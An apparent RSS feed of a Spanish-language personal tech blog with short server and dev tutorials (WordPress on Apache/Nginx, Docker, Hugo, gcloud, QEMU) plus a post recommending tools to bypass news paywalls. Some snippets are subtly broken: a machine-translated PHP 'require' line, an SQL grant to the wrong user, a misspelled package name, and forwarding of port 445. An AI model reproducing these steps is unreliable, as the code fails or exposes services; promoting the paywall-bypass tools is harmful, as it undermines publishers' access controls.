</span></span><span style="display:flex;"><span> </Directory>
</span></span><span style="display:flex;"><span> <Directory /var/www/wordpress/wp-content>
</span></span><span style="display:flex;"><span> Options FollowSymLinks
</span></span><span style="display:flex;"><span> Require all granted
</span></span><span style="display:flex;"><span> </Directory>
</span></span><span style="display:flex;"><span></VirtualHost>
</span></span></code></pre></div><p>Ejecutar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo a2dissite 000-default.conf
</span></span><span style="display:flex;"><span>sudo a2ensite wordpress.conf
</span></span></code></pre></div><p>En docker lo hacés con:</p>
-
Agregar comentarios en HUGO
https://imlauera.github.io/post/agregar_comentarios_en_hugo/
Sun, 22 Sep 2024 20:31:07 -0300
https://imlauera.github.io/post/agregar_comentarios_en_hugo/
<p>Hugo viene con todo el código que necesitarías para incluir la carga de Disqus. Simplemente incluya la siguiente línea donde desea que aparezcan sus comentarios:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">{{</span> template <span style="color:#e6db74">"_internal/disqus.html"</span> . <span style="color:#f92672">}}</span>
</span></span></code></pre></div><h3 id="configurando-disqus">configurando disqus</h3>
<p>Esa plantilla requiere que establezca un valor único en el archivo de configuración de su sitio, por ejemplo. config.yaml.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>disqusShortname <span style="color:#f92672">=</span> <span style="color:#e6db74">"XYW"</span>
</span></span></code></pre></div><p>Además, opcionalmente puede configurar lo siguiente en la portada de un contenido determinado:</p>
<ul>
<li>disqus_identifier</li>
<li>disqus_title</li>
<li>disqus_url</li>
</ul>
<h3 id="conditional-loading-de-comentarios-de-disqus">Conditional Loading de comentarios de Disqus</h3>
<p>Users have noticed that enabling Disqus comments when running the Hugo web server on localhost causes the creation of unwanted discussions on the associated Disqus account. In order to prevent this, a slightly tweaked partial template is required. So, rather than using the built-in <code>"_internal/disqus.html"</code> template referenced above, create a template in your <code>partials</code> folder that looks like this:</p>
-
Instalar dependencias de un proyecto con composer
https://imlauera.github.io/post/instalar_dependencias_composer/
Sun, 22 Sep 2024 19:43:07 -0300
https://imlauera.github.io/post/instalar_dependencias_composer/
<p><a href="https://stackoverflow.com/questions/20115757/how-to-install-dependencies-or-use-composer-at-all-in-windows">https://stackoverflow.com/questions/20115757/how-to-install-dependencies-or-use-composer-at-all-in-windows</a></p>
<p>Ahora, cree el archivo <code>composer.json</code> en el mismo nivel donde tiene el directorio de <code>Vendor</code> (no dentro de <code>Vendor</code>).</p>
<p>Vaya al directorio donde tiene compositor.json con el símbolo del sistema y ejecute el siguiente comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>composer install
</span></span></code></pre></div><p>Mostrará mensajes como “packages are downloading” y “autoload.php file created”. (Compruebe su directorio /app/Vendor/)</p>
<p>Ahora inserte este código al comienzo de <code>/app/config/core.php</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>require_once nombredir<span style="color:#f92672">(</span>__DIR__<span style="color:#f92672">)</span> . <span style="color:#e6db74">'/Vendedor/autoload.php'</span>;
</span></span></code></pre></div><p>El código anterior cargará todas las clases automáticamente.</p>
-
Nginx_wordpress
https://imlauera.github.io/post/nginx_wordpress/
Sun, 22 Sep 2024 18:04:38 -0300
https://imlauera.github.io/post/nginx_wordpress/
<p><a href="https://www.youtube.com/watch?v=Wv3uogmRFBU">https://www.youtube.com/watch?v=Wv3uogmRFBU</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y ngnix
</span></span><span style="display:flex;"><span>systemctl status ngnix
</span></span></code></pre></div><p>La instalación de la base de datos es todo lo mismo que explicamos en el antiguo tutorial</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y mysql-server <span style="color:#f92672">(</span>no se usa más ahora se usa mariadb salvo que tengas una aplicación con una base de datos que usaba mysql ahi vas a tener que usar docker<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>sudo mysql -u root
</span></span><span style="display:flex;"><span>CREATE DATABASE wordpress_db;
</span></span><span style="display:flex;"><span>CREATE USER <span style="color:#e6db74">'zack'</span>@<span style="color:#e6db74">'localhost'</span> IDENTIFIED BY <span style="color:#e6db74">'password'</span>;
</span></span><span style="display:flex;"><span>GRANT ALL PRIVILEGES ON wordpress_db.* TO <span style="color:#e6db74">'sam'</span>@<span style="color:#e6db74">'localhost'</span>;
</span></span><span style="display:flex;"><span>FLUSH PRIVILEGES;
</span></span><span style="display:flex;"><span>EXIT;
</span></span><span style="display:flex;"><span>sudo apt install -y php8.1 php8.1-cli php8.1-fpm php8.1-mysql <span style="color:#75715e"># es importante fpm porque es el socket de comunicacion</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls /var/run/php
</span></span></code></pre></div><p>Ahí encontraremos un archivo <code>php8.1-fpm.sock</code> que es usado para la comunicación entre php y el servidor web.</p>
-
Wordpress: Lo básico y buscando vulnerabilidades con WPScan
https://imlauera.github.io/post/wordpress-lo-basico/
Sun, 22 Sep 2024 17:49:51 -0300
https://imlauera.github.io/post/wordpress-lo-basico/
<p><a href="https://m.youtube.com/watch?v=lD6vQBDHkqU">https://m.youtube.com/watch?v=lD6vQBDHkqU</a></p>
<p><a href="https://www.youtube.com/watch?v=1Haj2D_WTCY">https://www.youtube.com/watch?v=1Haj2D_WTCY</a></p>
<p><a href="https://www.youtube.com/watch?v=Wv3uogmRFBU">https://www.youtube.com/watch?v=Wv3uogmRFBU</a></p>
<p><a href="https://www.youtube.com/watch?v=pOESHd1G-HI">https://www.youtube.com/watch?v=pOESHd1G-HI</a></p>
<p><a href="https://www.youtube.com/watch?v=PsMhopODLTY">https://www.youtube.com/watch?v=PsMhopODLTY</a></p>
<p><a href="https://m.youtube.com/watch?v=gy2wy9VlSWs">https://m.youtube.com/watch?v=gy2wy9VlSWs</a></p>
<p><a href="https://m.youtube.com/watch?v=G3CoIv3MQH0">https://m.youtube.com/watch?v=G3CoIv3MQH0</a></p>
<p><a href="https://www.youtube.com/watch?v=a4m8D02U8W8">https://www.youtube.com/watch?v=a4m8D02U8W8</a></p>
<h3 id="vulnerabilidades-escaneo-con-wpscan">Vulnerabilidades escaneo con WPScan</h3>
<p><a href="https://www.youtube.com/watch?v=9gwyj4frqwc">https://www.youtube.com/watch?v=9gwyj4frqwc</a></p>
<p><a href="https://www.youtube.com/watch?v=bVSrlDtTBdI">https://www.youtube.com/watch?v=bVSrlDtTBdI</a></p>
<p><a href="https://www.youtube.com/watch?v=V6COUeJeqjw">https://www.youtube.com/watch?v=V6COUeJeqjw</a></p>
<p><a href="https://www.youtube.com/watch?v=Inn0RXSF00g">https://www.youtube.com/watch?v=Inn0RXSF00g</a></p>
<p><a href="https://www.youtube.com/watch?v=ulDZnlURIc0">https://www.youtube.com/watch?v=ulDZnlURIc0</a></p>
<p><a href="https://www.youtube.com/watch?v=oYk3-oM2Tz4">https://www.youtube.com/watch?v=oYk3-oM2Tz4</a></p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&&</span> sudo apt upgrade -y
</span></span><span style="display:flex;"><span>sudo apt install apache2 -y
</span></span><span style="display:flex;"><span>hostname -I <span style="color:#f92672">(</span>lo mismo que ifconfig te tira tu ip lan, en el caso de ser un servidor tu ip publica<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo apt install -y libapache2-mod-php php-mysql
</span></span></code></pre></div><p>instalar base de datos: (esto también lo expliqué en wordpress howto)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y mysql-server <span style="color:#f92672">(</span>o mariadb explicado en wordpress howto<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>sudo mysql_secure_installation <span style="color:#f92672">(</span>ahora se usa sudo mariadb-install-db<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>sudo mysql -u root -p
</span></span><span style="display:flex;"><span>CREATE DATABASE wpdb DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
</span></span><span style="display:flex;"><span>CREATE USER <span style="color:#e6db74">'wpuser'</span>@<span style="color:#e6db74">'localhost'</span> IDENTIFIED BY <span style="color:#e6db74">'password'</span>;
</span></span><span style="display:flex;"><span>GRANT ALL ON wpdb.* TO <span style="color:#e6db74">'wpuser'</span>@<span style="color:#e6db74">'localhost'</span>;
</span></span></code></pre></div><h3 id="instalá-wordpress">Instalá wordpress</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /var/www/html
</span></span><span style="display:flex;"><span>sudo rm *
</span></span><span style="display:flex;"><span>sudo wget https://wordpress.org/latest.tar.gz
</span></span><span style="display:flex;"><span>sudo tar xzf latest.tar.gz
</span></span><span style="display:flex;"><span>sudo mv wordpress/* .
</span></span><span style="display:flex;"><span>sudo chown -R www-data .
</span></span></code></pre></div><h3 id="port-forwarding">Port forwarding</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>80,445
</span></span></code></pre></div><h3 id="domain">Domain</h3>
<p>Comprá el dominio, si es un colegio el <code>.edu.ar</code> lo tenés gratis ;)</p>
-
Saltear muros de pago (Bypass paywalls)
https://imlauera.github.io/post/saltear_muros_de_pago/
Sun, 22 Sep 2024 17:09:32 -0300
https://imlauera.github.io/post/saltear_muros_de_pago/
<p>Lo borraron porque tienen miedo de que se haga tan famoso como los bloqueadores de publicidad:
<a href="https://github.com/bpc-clone/bpc_updates/releases/latest">https://github.com/bpc-clone/bpc_updates/releases/latest</a></p>
<p>backup firefox: <a href="https://archive.org/details/bypass-paywalls-firefox-clean-master3">https://archive.org/details/bypass-paywalls-firefox-clean-master3</a></p>
<p>backup chrome: <a href="https://archive.softwareheritage.org/browse/origin/directory/?origin_url=https://gitlab.com/magnolia1234/bypass-paywalls-chrome-clean.git">https://archive.softwareheritage.org/browse/origin/directory/?origin_url=https://gitlab.com/magnolia1234/bypass-paywalls-chrome-clean.git</a></p>
<p>backup chrome mío: <a href="https://archive.org/details/bypass-paywalls-chrome-clean">https://archive.org/details/bypass-paywalls-chrome-clean</a></p>
<p>Descargá el archivo de release y cargalo como extensión en chrome (habilitá developer mode)</p>
<p><a href="https://old.reddit.com/r/Piracy/comments/180u498/how_to_bypass_any_paywall/?rdt=44346">https://old.reddit.com/r/Piracy/comments/180u498/how_to_bypass_any_paywall/?rdt=44346</a></p>
<p>Archive por si las dudas también lo borran: <a href="https://archive.is/RJhS9">https://archive.is/RJhS9</a></p>
<p>Si instalás la extensión te aparecerá arriba de todo unos links en rojo así:
<img src="https://imlauera.github.io/img/bypass_paywalll.png" alt="bypass paywall"></p>
<p>Cualquiera de ellos funciona</p>
<h4 id="servicios-con-los-que-podés-intentar">Servicios con los que podés intentar</h4>
<p><a href="https://12ft.io">https://12ft.io</a> This is currently the most commonly used tool, with tens of millions of visitors per month. It claims that it only fetches without javascript (it uses a proxy so it fetches for you, the request isn’t made from your browser), but I’m pretty sure it uses Googlebot, and maybe some other methods as well, although not directly stated. Got banned from its hosting provider recently, but is back up.<br>
<a href="https://removepaywall.com">https://removepaywall.com</a> This site does many things: it first tries to fetch from Wayback Machine (archive.org) and then with Google cache. Then it tries a direct fetch with Googlebot user agent. It claims it also tries archive.is, but redirects users to archive.is when it fails. In general, this might be the most robust solution I’ve seen.<br>
<a href="https://smry.ai">https://smry.ai</a> Shameless self-plug (mods were made aware). Does everything removepaywall.com does, is completely open-source, and also generates free summaries of each article until I run out of money. Also, tells you where the content was fetched from and lets you try different options.<br>
1ft.io. This one is new and has blown up quickly because it is fast. From what I can guess, it just uses Googlebot. which is why it is so fast (fetching from Wayback Machine or Google cache would be slower). But it also fails a lot. Good quick solution to try before moving on to other more robust methods.<br>
<a href="https://darkread.com">https://darkread.com</a> Read in dark mode. Nuff said.<br>
<a href="https://leiaisso.net">https://leiaisso.net</a> Very popular in Brazil. Pretty buggy for me.</p>
-
Reversing unioncita facilb
https://imlauera.github.io/post/reversing_unioncita_facilb/
Sun, 22 Sep 2024 14:11:20 -0300
https://imlauera.github.io/post/reversing_unioncita_facilb/
<p>El ejercicio unioncita facilb se encuentra en: <a href="https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1">https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1</a></p>
<blockquote>
<p>Todos los ‘miembros’ de la union comparten la misma memoria. Los datos son los mismos pero se interpretan de manera diferente.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> pruebita {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> a;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> b;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> c[<span style="color:#ae81ff">2</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">union</span> pruebita HOLA;
</span></span><span style="display:flex;"><span> HOLA.a <span style="color:#f92672">=</span> <span style="color:#ae81ff">65</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> HOLA.c[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'C'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,HOLA.a);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%c</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,HOLA.b);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>A diferencia de las estructuras, donde cada miembro tiene su propia área de memoria, <strong>todos los miembros de una unión comparten la misma dirección</strong>, lo que optimiza el uso de memoria. El tamaño total de la unión es igual al tamaño del miembro más grande. Por ejemplo, al declarar <code>union { int i; double d; } u;</code>, se puede acceder a u.i o u.d, pero modificar uno afectará al otro debido a que comparten el mismo espacio en memoria. Esto requiere que el programador tenga cuidado para asegurarse de que solo se accede al miembro correcto en uso.</p>
-
Docker compose con php y mysql
https://imlauera.github.io/post/docker_compose_phpmysql/
Sun, 22 Sep 2024 13:52:06 -0300
https://imlauera.github.io/post/docker_compose_phpmysql/
<p><a href="https://alysivji.github.io/php-mysql-docker-containers.html">https://alysivji.github.io/php-mysql-docker-containers.html</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir lamp-stack <span style="color:#f92672">&&</span> cd lamp-stack
</span></span><span style="display:flex;"><span>mkdir php
</span></span></code></pre></div><p>Creá un docker-compose.yml con el siguiente contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># ./docker-compose.yml</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>version: <span style="color:#e6db74">'3'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>services:
</span></span><span style="display:flex;"><span> db:
</span></span><span style="display:flex;"><span> image: mysql:5.7
</span></span><span style="display:flex;"><span> environment:
</span></span><span style="display:flex;"><span> MYSQL_ROOT_PASSWORD: my_secret_pw_shh
</span></span><span style="display:flex;"><span> MYSQL_DATABASE: test_db
</span></span><span style="display:flex;"><span> MYSQL_USER: devuser
</span></span><span style="display:flex;"><span> MYSQL_PASSWORD: devpass
</span></span><span style="display:flex;"><span> ports:
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"9906:3306"</span>
</span></span><span style="display:flex;"><span> web:
</span></span><span style="display:flex;"><span> image: php:7.2.2-apache
</span></span><span style="display:flex;"><span> container_name: php_web
</span></span><span style="display:flex;"><span> depends_on:
</span></span><span style="display:flex;"><span> - db
</span></span><span style="display:flex;"><span> volumes:
</span></span><span style="display:flex;"><span> - ./php/:/var/www/html/
</span></span><span style="display:flex;"><span> ports:
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"8100:80"</span>
</span></span><span style="display:flex;"><span> stdin_open: true
</span></span><span style="display:flex;"><span> tty: true
</span></span></code></pre></div><p>Dentro de la carpeta <code>php</code> creada anteriormente pone</p>
-
Google cloud CLI creamos borramos imágenes de maquinas virtuales
https://imlauera.github.io/post/google_cloud_cli_create_image/
Sat, 21 Sep 2024 22:30:06 -0300
https://imlauera.github.io/post/google_cloud_cli_create_image/
<p><a href="https://invidious.materialio.us/search?q=google+cloud+cli+create+image">https://invidious.materialio.us/search?q=google+cloud+cli+create+image</a></p>
<p><a href="https://youtube.com/watch?v=RPYFbMXc-1Q">https://youtube.com/watch?v=RPYFbMXc-1Q</a></p>
<p><a href="https://youtube.com/watch?v=LxHiCZCKwa8">https://youtube.com/watch?v=LxHiCZCKwa8</a></p>
<p><a href="https://youtube.com/watch?v=JW5YB0lOypY">https://youtube.com/watch?v=JW5YB0lOypY</a></p>
<p><a href="https://youtube.com/watch?v=7CvD6oHmYxU">https://youtube.com/watch?v=7CvD6oHmYxU</a></p>
<p><a href="https://youtube.com/watch?v=KpYO6Ru8MOI">https://youtube.com/watch?v=KpYO6Ru8MOI</a></p>
<p><a href="https://youtube.com/watch?v=jlLE157HCR4">https://youtube.com/watch?v=jlLE157HCR4</a></p>
<p><a href="https://youtube.com/watch?v=rpmOM5jJJfY">https://youtube.com/watch?v=rpmOM5jJJfY</a></p>
<p><a href="https://youtube.com/watch?v=dtKM8MJqI48">https://youtube.com/watch?v=dtKM8MJqI48</a></p>
<p><a href="https://youtube.com/watch?v=AA7Dpyjic64">https://youtube.com/watch?v=AA7Dpyjic64</a></p>
<hr>
<h3 id="creamos-una-compute-engine-disk-image">Creamos una compute engine disk image</h3>
<p>Para empezar tenemos una máquina virtual que hemos configurado, la usaremos como template para la nueva imagen, el primer paso es eliminar la máquina virtual pero guardaremos el disco persistente del boot(arranque).
Así que usamos el siguiente comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gcloud compute instances delete gold-template --keep-disks boot
</span></span></code></pre></div><p>en donde gold-template es el nombre de la máquina virtual.</p>
-
Django_rest_enable_social_login
https://imlauera.github.io/post/django_rest_enable_social_login/
Sat, 21 Sep 2024 19:25:42 -0300
https://imlauera.github.io/post/django_rest_enable_social_login/
<p><a href="https://m.youtube.com/watch?v=d7OxfJZOIhQ&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=d7OxfJZOIhQ&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=cx9jR7MmqAw&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=cx9jR7MmqAw&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=GQySb3W2feo&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=GQySb3W2feo&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=aXGxT-K95io&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=aXGxT-K95io&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=tgO_ADSvY1I&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=tgO_ADSvY1I&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=yO6PP0vEOMc&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=yO6PP0vEOMc&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=jOuQc0QoxNg&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=jOuQc0QoxNg&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
<p>AllAuth: <a href="https://m.youtube.com/watch?v=jEJFK6jF5CE&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D">https://m.youtube.com/watch?v=jEJFK6jF5CE&pp=ygUxZGphbmdvIHJlc3QgZnJhbWV3b3JrIG9wZW5pZCBjb25uZWN0IG9hdXRoIGdvb2dsZQ%3D%3D</a></p>
-
Spring boot app postgreSQL
https://imlauera.github.io/post/spring_boot_app_postgresql/
Sat, 21 Sep 2024 18:51:34 -0300
https://imlauera.github.io/post/spring_boot_app_postgresql/
<p><a href="https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D">https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D">https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=ltvRsnka7Mo&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D">https://m.youtube.com/watch?v=ltvRsnka7Mo&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D">https://m.youtube.com/watch?v=vOTib5Q6AP0&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D</a></p>
<p><a href="https://m.youtube.com/watch?v=_Gdb-jK3Sr4&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D">https://m.youtube.com/watch?v=_Gdb-jK3Sr4&pp=ygUac3ByaW5nIGJvb3QgYXBwIHBvc3RncmVzcWw%3D</a></p>
-
Aumentar volumen espacio en qemu/kvm y compartir clipboard y compartir carpeta
https://imlauera.github.io/post/aumentar_volumen_espaciokvm/
Sat, 21 Sep 2024 13:03:44 -0300
https://imlauera.github.io/post/aumentar_volumen_espaciokvm/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo qemu-img resize /var/lib/libvirt/images/artix.qcow2 +10G
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install spice-vdagent
</span></span></code></pre></div><h3 id="agregar-carpeta-compartida">Agregar carpeta compartida.</h3>
<p>Graficamente: <a href="https://ostechnix.com/setup-a-shared-folder-between-kvm-host-and-guest/">https://ostechnix.com/setup-a-shared-folder-between-kvm-host-and-guest/</a></p>
<p><a href="https://libvirt.org/kbase/virtiofs.html">https://libvirt.org/kbase/virtiofs.html</a></p>
<ul>
<li><code>sudo apt-get install virt-manager libguestfs-tools</code></li>
<li>9p option in your libvirt XML definition.</li>
</ul>
<pre tabindex="0"><code>cd /etc/libvirt/qemu/
sudo vim debian12.xml
</code></pre><p>Agregá antes de <code></domain></code> y dentro de <code><devices></code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><filesystem type<span style="color:#f92672">=</span><span style="color:#e6db74">'mount'</span> accessmode<span style="color:#f92672">=</span><span style="color:#e6db74">'passthrough'</span>>
</span></span><span style="display:flex;"><span> <source dir<span style="color:#f92672">=</span><span style="color:#e6db74">'/tu/carpeta/host'</span>/>
</span></span><span style="display:flex;"><span> <target dir<span style="color:#f92672">=</span><span style="color:#e6db74">'share'</span>/>
</span></span><span style="display:flex;"><span></filesystem>
</span></span></code></pre></div><p>En el guest:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mount -t 9p -o trans<span style="color:#f92672">=</span>virtio share /mnt/shared
</span></span></code></pre></div><p>Si no te funcioná tenés que habilitar módulos.</p>
<p>Resolved for me (with an ubuntu 18.04 host and 14.04 guest) by adding theses modules:</p>
-
Docker: Instalar una distro e iniciarla
https://imlauera.github.io/post/docker/
Sat, 21 Sep 2024 12:10:49 -0300
https://imlauera.github.io/post/docker/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run debian
</span></span><span style="display:flex;"><span>docker run -it debian
</span></span></code></pre></div><h3 id="instalando-en-debian">Instalando en debian</h3>
